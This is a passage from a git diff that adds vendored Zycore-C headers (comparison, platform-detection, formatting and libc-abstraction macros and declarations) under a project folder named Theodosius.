pointer to the second value. + * + * @return Returns `ZYAN_TRUE` if the `left` value equals the `right` one or `ZYAN_FALSE`, if + * not. + */ +ZYAN_INLINE ZYAN_DECLARE_EQUALITY_COMPARISON(ZyanEqualsNumeric64, ZyanU64) + +/* ---------------------------------------------------------------------------------------------- */ +/* Default comparison functions */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines a default comparison function for pointer values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is + * less than the `right` one, or `1` if the `left` value is greater than the `right` one. + */ +ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanComparePointer, void* const) + +/** + * Defines a default comparison function for `ZyanBool` values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is + * less than the `right` one, or `1` if the `left` value is greater than the `right` one. + */ +ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanCompareBool, ZyanBool) + +/** + * Defines a default comparison function for 8-bit numeric values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is + * less than the `right` one, or `1` if the `left` value is greater than the `right` one. + */ +ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanCompareNumeric8, ZyanU8) + +/** + * Defines a default comparison function for 16-bit numeric values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is + * less than the `right` one, or `1` if the `left` value is greater than the `right` one. + */ +ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanCompareNumeric16, ZyanU16) + +/** + * Defines a default comparison function for 32-bit numeric values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is + * less than the `right` one, or `1` if the `left` value is greater than the `right` one. + */ +ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanCompareNumeric32, ZyanU32) + +/** + * Defines a default comparison function for 64-bit numeric values. + * + * @param left A pointer to the first value. + * @param right A pointer to the second value. + * + * @return Returns `0` if the `left` value equals the `right` one, `-1` if the `left` value is + * less than the `right` one, or `1` if the `left` value is greater than the `right` one. + */ +ZYAN_INLINE ZYAN_DECLARE_COMPARISON(ZyanCompareNumeric64, ZyanU64) + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYCORE_COMPARISON_H */ diff --git a/Theodosius/Zycore/Defines.h b/Theodosius/Zycore/Defines.h new file mode 100644 index 0000000..65afbaa --- /dev/null +++ b/Theodosius/Zycore/Defines.h @@ -0,0 +1,443 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd, Joel Hoener + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * General helper and platform detection macros. + */ + +#ifndef ZYCORE_DEFINES_H +#define ZYCORE_DEFINES_H + +/* ============================================================================================== */ +/* Meta macros */ +/* ============================================================================================== */ + +/** + * Concatenates two values using the stringify operator (`##`). + * + * @param x The first value. + * @param y The second value. + * + * @return The combined string of the given values. + */ +#define ZYAN_MACRO_CONCAT(x, y) x ## y + +/** + * Concatenates two values using the stringify operator (`##`) and expands the value to + * be used in another macro. + * + * @param x The first value. + * @param y The second value. + * + * @return The combined string of the given values. + */ +#define ZYAN_MACRO_CONCAT_EXPAND(x, y) ZYAN_MACRO_CONCAT(x, y) + +/* ============================================================================================== */ +/* Compiler detection */ +/* ============================================================================================== */ + +#if defined(__clang__) +# define ZYAN_CLANG +# define ZYAN_GNUC +#elif defined(__ICC) || defined(__INTEL_COMPILER) +# define ZYAN_ICC +#elif defined(__GNUC__) || defined(__GNUG__) +# define ZYAN_GCC +# define ZYAN_GNUC +#elif defined(_MSC_VER) +# define ZYAN_MSVC +#elif defined(__BORLANDC__) +# define ZYAN_BORLAND +#else +# define ZYAN_UNKNOWN_COMPILER +#endif + +/* ============================================================================================== */ +/* Platform detection */ +/* ============================================================================================== */ + +#if defined(_WIN32) +# define ZYAN_WINDOWS +#elif defined(__EMSCRIPTEN__) +# define ZYAN_EMSCRIPTEN +#elif defined(__APPLE__) +# define ZYAN_APPLE +# define ZYAN_POSIX +#elif defined(__linux) +# define ZYAN_LINUX +# define ZYAN_POSIX +#elif defined(__FreeBSD__) +# define ZYAN_FREEBSD +# define ZYAN_POSIX +#elif defined(sun) || defined(__sun) +# define ZYAN_SOLARIS +# define ZYAN_POSIX +#elif defined(__unix) +# define ZYAN_UNIX +# define ZYAN_POSIX +#elif defined(__posix) +# define ZYAN_POSIX +#else +# define ZYAN_UNKNOWN_PLATFORM +#endif + +/* ============================================================================================== */ +/* Kernel mode detection */ +/* ============================================================================================== */ + +#if (defined(ZYAN_WINDOWS) && defined(_KERNEL_MODE)) || \ + (defined(ZYAN_APPLE) && defined(KERNEL)) || \ + (defined(ZYAN_LINUX) && defined(__KERNEL__)) || \ + (defined(__FreeBSD_kernel__)) +# define ZYAN_KERNEL +#else +# define ZYAN_USER +#endif + +/* ============================================================================================== */ +/* Architecture detection */ +/* ============================================================================================== */ + +#if defined(_M_AMD64) || defined(__x86_64__) +# define ZYAN_X64 +#elif defined(_M_IX86) || defined(__i386__) +# define ZYAN_X86 +#elif defined(_M_ARM64) || defined(__aarch64__) +# define ZYAN_AARCH64 +#elif defined(_M_ARM) || defined(_M_ARMT) || defined(__arm__) || defined(__thumb__) +# define ZYAN_ARM +#elif defined(__EMSCRIPTEN__) + // Nothing to do, `ZYAN_EMSCRIPTEN` is both platform and arch macro for this one. +#else +# error "Unsupported architecture detected" +#endif + +/* ============================================================================================== */ +/* Debug/Release detection */ +/* ============================================================================================== */ + +#if defined(ZYAN_MSVC) || defined(ZYAN_BORLAND) +# ifdef _DEBUG +# define ZYAN_DEBUG +# else +# define ZYAN_RELEASE +# endif +#elif defined(ZYAN_GNUC) || defined(ZYAN_ICC) +# ifdef NDEBUG +# define ZYAN_RELEASE +# else +# define ZYAN_DEBUG +# endif +#else +# define ZYAN_RELEASE +#endif + +/* ============================================================================================== */ +/* Misc compatibility macros */ +/* ============================================================================================== */ + +#if defined(ZYAN_CLANG) +# define ZYAN_NO_SANITIZE(what) __attribute__((no_sanitize(what))) +#else +# define ZYAN_NO_SANITIZE(what) +#endif + +#if defined(ZYAN_MSVC) || defined(ZYAN_BORLAND) +# define ZYAN_INLINE __inline +#else +# define ZYAN_INLINE static inline +#endif + +/* ============================================================================================== */ +/* Debugging and optimization macros */ +/* ============================================================================================== */ + +/** + * Runtime debug assertion. + */ +#if defined(ZYAN_NO_LIBC) +# define ZYAN_ASSERT(condition) (void)(condition) +#elif defined(ZYAN_WINDOWS) && defined(ZYAN_KERNEL) +# include +# define ZYAN_ASSERT(condition) NT_ASSERT(condition) +#else +# include +# define ZYAN_ASSERT(condition) assert(condition) +#endif + +/** + * Compiler-time assertion. + */ +#if __STDC_VERSION__ >= 201112L && !defined(__cplusplus) +# define ZYAN_STATIC_ASSERT(x) _Static_assert(x, #x) +#elif (defined(__cplusplus) && __cplusplus >= 201103L) || \ + (defined(__cplusplus) && defined (_MSC_VER) && (_MSC_VER >= 1600)) || \ + (defined (_MSC_VER) && (_MSC_VER >= 1800)) +# define ZYAN_STATIC_ASSERT(x) static_assert(x, #x) +#else +# define ZYAN_STATIC_ASSERT(x) \ + typedef int ZYAN_MACRO_CONCAT_EXPAND(ZYAN_SASSERT_, __COUNTER__) [(x) ? 1 : -1] +#endif + +/** + * Marks the current code path as unreachable. + */ +#if defined(ZYAN_RELEASE) +# if defined(ZYAN_CLANG) // GCC eagerly evals && RHS, we have to use nested ifs. +# if __has_builtin(__builtin_unreachable) +# define ZYAN_UNREACHABLE __builtin_unreachable() +# else +# define ZYAN_UNREACHABLE for(;;) +# endif +# elif defined(ZYAN_GCC) && ((__GNUC__ == 4 && __GNUC_MINOR__ > 4) || __GNUC__ > 4) +# define ZYAN_UNREACHABLE __builtin_unreachable() +# elif defined(ZYAN_ICC) +# ifdef ZYAN_WINDOWS +# include // "missing return statement" workaround +# define ZYAN_UNREACHABLE __assume(0); (void)abort() +# else +# define ZYAN_UNREACHABLE __builtin_unreachable() +# endif +# elif defined(ZYAN_MSVC) +# define ZYAN_UNREACHABLE __assume(0) +# else +# define ZYAN_UNREACHABLE for(;;) +# endif +#elif defined(ZYAN_NO_LIBC) +# define ZYAN_UNREACHABLE for(;;) +#elif defined(ZYAN_WINDOWS) && defined(ZYAN_KERNEL) +# define ZYAN_UNREACHABLE { __fastfail(0); for(;;){} } +#else +# include +# define ZYAN_UNREACHABLE { assert(0); abort(); } +#endif + +/* ============================================================================================== */ +/* Utils */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* General purpose */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Marks the specified parameter as unused. + * + * @param x The name of the unused parameter. + */ +#define ZYAN_UNUSED(x) (void)(x) + +/** + * Intentional fallthrough. + */ +#if defined(ZYAN_GCC) && __GNUC__ >= 7 +# define ZYAN_FALLTHROUGH __attribute__((fallthrough)) +#else +# define ZYAN_FALLTHROUGH +#endif + +/** + * Declares a bitfield. + * + * @param x The size (in bits) of the bitfield. + */ +#define ZYAN_BITFIELD(x) : x + +/** + * Marks functions that require libc (cannot be used with `ZYAN_NO_LIBC`). + */ +#define ZYAN_REQUIRES_LIBC + +/** + * Decorator for `printf`-style functions. + * + * @param format_index The 1-based index of the format string parameter. + * @param first_to_check The 1-based index of the format arguments parameter. + */ +#if defined(__RESHARPER__) +# define ZYAN_PRINTF_ATTR(format_index, first_to_check) \ + [[gnu::format(printf, format_index, first_to_check)]] +#elif defined(ZYAN_GCC) +# define ZYAN_PRINTF_ATTR(format_index, first_to_check) \ + __attribute__((format(printf, format_index, first_to_check))) +#else +# define ZYAN_PRINTF_ATTR(format_index, first_to_check) +#endif + +/** + * Decorator for `wprintf`-style functions. + * + * @param format_index The 1-based index of the format string parameter. + * @param first_to_check The 1-based index of the format arguments parameter. + */ +#if defined(__RESHARPER__) +# define ZYAN_WPRINTF_ATTR(format_index, first_to_check) \ + [[rscpp::format(wprintf, format_index, first_to_check)]] +#else +# define ZYAN_WPRINTF_ATTR(format_index, first_to_check) +#endif + +/* ---------------------------------------------------------------------------------------------- */ +/* Arrays */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the length (number of elements) of an array. + * + * @param a The name of the array. + * + * @return The number of elements of the given array. + */ +#define ZYAN_ARRAY_LENGTH(a) (sizeof(a) / sizeof((a)[0])) + +/* ---------------------------------------------------------------------------------------------- */ +/* Arithmetic */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the smaller value of `a` or `b`. + * + * @param a The first value. + * @param b The second value. + * + * @return The smaller value of `a` or `b`. + */ +#define ZYAN_MIN(a, b) (((a) < (b)) ? (a) : (b)) + +/** + * Returns the bigger value of `a` or `b`. + * + * @param a The first value. + * @param b The second value. + * + * @return The bigger value of `a` or `b`. + */ +#define ZYAN_MAX(a, b) (((a) > (b)) ? (a) : (b)) + +/** + * Returns the absolute value of `a`. + * + * @param a The value. + * + * @return The absolute value of `a`. + */ +#define ZYAN_ABS(a) (((a) < 0) ? -(a) : (a)) + +/** + * Checks, if the given value is a power of 2. + * + * @param x The value. + * + * @return `ZYAN_TRUE`, if the given value is a power of 2 or `ZYAN_FALSE`, if not. + * + * Note that this macro always returns `ZYAN_TRUE` for `x == 0`. + */ +#define ZYAN_IS_POWER_OF_2(x) (((x) & ((x) - 1)) == 0) + +/** + * Checks, if the given value is properly aligned. + * + * Note that this macro only works for powers of 2. + */ +#define ZYAN_IS_ALIGNED_TO(x, align) (((x) & ((align) - 1)) == 0) + +/** + * Aligns the value to the nearest given alignment boundary (by rounding it up). + * + * @param x The value. + * @param align The desired alignment. + * + * @return The aligned value. + * + * Note that this macro only works for powers of 2. + */ +#define ZYAN_ALIGN_UP(x, align) (((x) + (align) - 1) & ~((align) - 1)) + +/** + * Aligns the value to the nearest given alignment boundary (by rounding it down). + * + * @param x The value. + * @param align The desired alignment. + * + * @return The aligned value. + * + * Note that this macro only works for powers of 2. + */ +#define ZYAN_ALIGN_DOWN(x, align) (((x) - 1) & ~((align) - 1)) + +/* ---------------------------------------------------------------------------------------------- */ +/* Bit operations */ +/* ---------------------------------------------------------------------------------------------- */ + +/* + * Checks, if the bit at index `b` is required to present the ordinal value `n`. + * + * @param n The ordinal value. + * @param b The bit index. + * + * @return `ZYAN_TRUE`, if the bit at index `b` is required to present the ordinal value `n` or + * `ZYAN_FALSE`, if not. + * + * Note that this macro always returns `ZYAN_FALSE` for `n == 0`. + */ +#define ZYAN_NEEDS_BIT(n, b) (((unsigned long)(n) >> (b)) > 0) + +/* + * Returns the number of bits required to represent the ordinal value `n`. + * + * @param n The ordinal value. + * + * @return The number of bits required to represent the ordinal value `n`. + * + * Note that this macro returns `0` for `n == 0`. + */ +#define ZYAN_BITS_TO_REPRESENT(n) \ + ( \ + ZYAN_NEEDS_BIT(n, 0) + ZYAN_NEEDS_BIT(n, 1) + \ + ZYAN_NEEDS_BIT(n, 2) + ZYAN_NEEDS_BIT(n, 3) + \ + ZYAN_NEEDS_BIT(n, 4) + ZYAN_NEEDS_BIT(n, 5) + \ + ZYAN_NEEDS_BIT(n, 6) + ZYAN_NEEDS_BIT(n, 7) + \ + ZYAN_NEEDS_BIT(n, 8) + ZYAN_NEEDS_BIT(n, 9) + \ + ZYAN_NEEDS_BIT(n, 10) + ZYAN_NEEDS_BIT(n, 11) + \ + ZYAN_NEEDS_BIT(n, 12) + ZYAN_NEEDS_BIT(n, 13) + \ + ZYAN_NEEDS_BIT(n, 14) + ZYAN_NEEDS_BIT(n, 15) + \ + ZYAN_NEEDS_BIT(n, 16) + ZYAN_NEEDS_BIT(n, 17) + \ + ZYAN_NEEDS_BIT(n, 18) + ZYAN_NEEDS_BIT(n, 19) + \ + ZYAN_NEEDS_BIT(n, 20) + ZYAN_NEEDS_BIT(n, 21) + \ + ZYAN_NEEDS_BIT(n, 22) + ZYAN_NEEDS_BIT(n, 23) + \ + ZYAN_NEEDS_BIT(n, 24) + ZYAN_NEEDS_BIT(n, 25) + \ + ZYAN_NEEDS_BIT(n, 26) + ZYAN_NEEDS_BIT(n, 27) + \ + ZYAN_NEEDS_BIT(n, 28) + ZYAN_NEEDS_BIT(n, 29) + \ + ZYAN_NEEDS_BIT(n, 30) + ZYAN_NEEDS_BIT(n, 31) \ + ) + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#endif /* ZYCORE_DEFINES_H */ diff --git a/Theodosius/Zycore/Format.h b/Theodosius/Zycore/Format.h new file mode 100644 index 0000000..b0401e6 --- /dev/null +++ b/Theodosius/Zycore/Format.h @@ -0,0 +1,286 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Provides helper functions for performant number to string conversion. + */ + +#ifndef ZYCORE_FORMAT_H +#define ZYCORE_FORMAT_H + +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Helpers */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Get the absolute value of a 64 bit int. + * + * @param x The value to process. + * @return The absolute, unsigned value. + * + * This gracefully deals with the special case of `x` being `INT_MAX`. + */ +ZYAN_INLINE ZyanU64 ZyanAbsI64(ZyanI64 x) +{ + // INT_MIN special case. Can't use the value directly because GCC thinks + // it's too big for an INT64 literal, however is perfectly happy to accept + // this expression. This is also hit INT64_MIN is defined in `stdint.h`. + if (x == (-0x7fffffffffffffff - 1)) + { + return 0x8000000000000000u; + } + + return (ZyanU64)(x < 0 ? -x : x); +} + +/* ---------------------------------------------------------------------------------------------- */ +/* Insertion */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Inserts formatted text in the destination string at the given `index`. + * + * @param string The destination string. + * @param index The insert index. + * @param format The format string. + * @param ... The format arguments. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYAN_PRINTF_ATTR(3, 4) +ZYCORE_EXPORT ZyanStatus ZyanStringInsertFormat(ZyanString* string, ZyanUSize index, + const char* format, ...); + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Formats the given unsigned ordinal `value` to its decimal text-representation and + * inserts it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param index The insert index. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringInsertDecU(ZyanString* string, ZyanUSize index, ZyanU64 value, + ZyanU8 padding_length); + +/** + * Formats the given signed ordinal `value` to its decimal text-representation and + * inserts it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param index The insert index. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * @param force_sign Set `ZYAN_TRUE`, to force printing of the `+` sign for positive numbers. + * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringInsertDecS(ZyanString* string, ZyanUSize index, ZyanI64 value, + ZyanU8 padding_length, ZyanBool force_sign, const ZyanString* prefix); + +/** + * Formats the given unsigned ordinal `value` to its hexadecimal text-representation and + * inserts it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param index The insert index. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * @param uppercase Set `ZYAN_TRUE` to use uppercase letters ('A'-'F') instead of lowercase + * ones ('a'-'f'). + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringInsertHexU(ZyanString* string, ZyanUSize index, ZyanU64 value, + ZyanU8 padding_length, ZyanBool uppercase); + +/** + * Formats the given signed ordinal `value` to its hexadecimal text-representation and + * inserts it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param index The insert index. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * @param uppercase Set `ZYAN_TRUE` to use uppercase letters ('A'-'F') instead of lowercase + * ones ('a'-'f'). + * @param force_sign Set `ZYAN_TRUE`, to force printing of the `+` sign for positive numbers. + * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringInsertHexS(ZyanString* string, ZyanUSize index, ZyanI64 value, + ZyanU8 padding_length, ZyanBool uppercase, ZyanBool force_sign, const ZyanString* prefix); + +/* ---------------------------------------------------------------------------------------------- */ +/* Appending */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYAN_NO_LIBC + +/** + * Appends formatted text to the destination string. + * + * @param string The destination string. + * @param format The format string. + * @param ... The format arguments. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYAN_PRINTF_ATTR(2, 3) +ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanStringAppendFormat( + ZyanString* string, const char* format, ...); + +#endif // ZYAN_NO_LIBC + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Formats the given unsigned ordinal `value` to its decimal text-representation and + * appends it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringAppendDecU(ZyanString* string, ZyanU64 value, + ZyanU8 padding_length); + +/** + * Formats the given signed ordinal `value` to its decimal text-representation and + * appends it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * @param force_sign Set `ZYAN_TRUE`, to force printing of the `+` sign for positive numbers. + * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringAppendDecS(ZyanString* string, ZyanI64 value, + ZyanU8 padding_length, ZyanBool force_sign, const ZyanStringView* prefix); + +/** + * Formats the given unsigned ordinal `value` to its hexadecimal text-representation and + * appends it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * @param uppercase Set `ZYAN_TRUE` to use uppercase letters ('A'-'F') instead of lowercase + * ones ('a'-'f'). + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringAppendHexU(ZyanString* string, ZyanU64 value, + ZyanU8 padding_length, ZyanBool uppercase); + +/** + * Formats the given signed ordinal `value` to its hexadecimal text-representation and + * appends it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * @param uppercase Set `ZYAN_TRUE` to use uppercase letters ('A'-'F') instead of lowercase + * ones ('a'-'f'). + * @param force_sign Set `ZYAN_TRUE`, to force printing of the `+` sign for positive numbers. + * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringAppendHexS(ZyanString* string, ZyanI64 value, + ZyanU8 padding_length, ZyanBool uppercase, ZyanBool force_sign, const ZyanStringView* prefix); + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif // ZYCORE_FORMAT_H diff --git a/Theodosius/Zycore/LibC.h b/Theodosius/Zycore/LibC.h new file mode 100644 index 0000000..cb0b2f3 --- /dev/null +++ b/Theodosius/Zycore/LibC.h @@ -0,0 +1,511 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd, Joel Hoener + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Provides a simple LibC abstraction and fallback routines. + */ + +#ifndef ZYCORE_LIBC_H +#define ZYCORE_LIBC_H + +#ifndef ZYAN_CUSTOM_LIBC + +// Include a custom LibC header and define `ZYAN_CUSTOM_LIBC` to provide your own LibC +// replacement functions + +#ifndef ZYAN_NO_LIBC + +/* ============================================================================================== */ +/* LibC is available */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* errno.h */ +/* ---------------------------------------------------------------------------------------------- */ + +#include + +#define ZYAN_ERRNO errno + +/* ---------------------------------------------------------------------------------------------- */ +/* stdarg.h */ +/* ---------------------------------------------------------------------------------------------- */ + +#include + +/** + * Defines the `ZyanVAList` datatype. + */ +typedef va_list ZyanVAList; + +#define ZYAN_VA_START va_start +#define ZYAN_VA_ARG va_arg +#define ZYAN_VA_END va_end +#define ZYAN_VA_COPY(dest, source) va_copy((dest), (source)) + +/* ---------------------------------------------------------------------------------------------- */ +/* stdio.h */ +/* ---------------------------------------------------------------------------------------------- */ + +#include + +#define ZYAN_FPUTS fputs +#define ZYAN_FPUTC fputc +#define ZYAN_FPRINTF fprintf +#define ZYAN_PRINTF printf +#define ZYAN_PUTC putc +#define ZYAN_PUTS puts +#define ZYAN_SCANF scanf +#define ZYAN_SSCANF sscanf +#define ZYAN_VSNPRINTF vsnprintf + +/** + * Defines the `ZyanFile` datatype. + */ +typedef FILE ZyanFile; + +#define ZYAN_STDIN stdin +#define ZYAN_STDOUT stdout +#define ZYAN_STDERR stderr + +/* ---------------------------------------------------------------------------------------------- */ +/* stdlib.h */ +/* ---------------------------------------------------------------------------------------------- */ + +#include +#define ZYAN_CALLOC calloc +#define ZYAN_FREE free +#define ZYAN_MALLOC malloc +#define ZYAN_REALLOC realloc + +/* ---------------------------------------------------------------------------------------------- */ +/* string.h */ +/* ---------------------------------------------------------------------------------------------- */ + +#include +#define ZYAN_MEMCHR memchr +#define ZYAN_MEMCMP memcmp +#define ZYAN_MEMCPY memcpy +#define ZYAN_MEMMOVE memmove +#define ZYAN_MEMSET memset +#define ZYAN_STRCAT strcat +#define ZYAN_STRCHR strchr +#define ZYAN_STRCMP strcmp +#define ZYAN_STRCOLL strcoll +#define ZYAN_STRCPY strcpy +#define ZYAN_STRCSPN strcspn +#define ZYAN_STRLEN strlen +#define ZYAN_STRNCAT strncat +#define ZYAN_STRNCMP strncmp +#define ZYAN_STRNCPY strncpy +#define ZYAN_STRPBRK strpbrk +#define ZYAN_STRRCHR strrchr +#define ZYAN_STRSPN strspn +#define ZYAN_STRSTR strstr +#define ZYAN_STRTOK strtok +#define ZYAN_STRXFRM strxfrm + +/* ---------------------------------------------------------------------------------------------- */ + +#else // if ZYAN_NO_LIBC + +/* ============================================================================================== */ +/* No LibC available, use our own functions */ +/* ============================================================================================== */ + +#include +#include + +/* + * These implementations are by no means optimized and will be outperformed by pretty much any + * libc implementation out there. We do not aim towards providing competetive implementations here, + * but towards providing a last resort fallback for environments without a working libc. + */ + +/* ---------------------------------------------------------------------------------------------- */ +/* stdarg.h */ +/* ---------------------------------------------------------------------------------------------- */ + +#if defined(ZYAN_MSVC) || defined(ZYAN_ICC) + +/** + * Defines the `ZyanVAList` datatype. + */ +typedef char* ZyanVAList; + +# define ZYAN_VA_START __crt_va_start +# define ZYAN_VA_ARG __crt_va_arg +# define ZYAN_VA_END __crt_va_end +# define ZYAN_VA_COPY(destination, source) ((destination) = (source)) + +#elif defined(ZYAN_GNUC) + +/** + * Defines the `ZyanVAList` datatype. + */ +typedef __builtin_va_list ZyanVAList; + +# define ZYAN_VA_START(v, l) 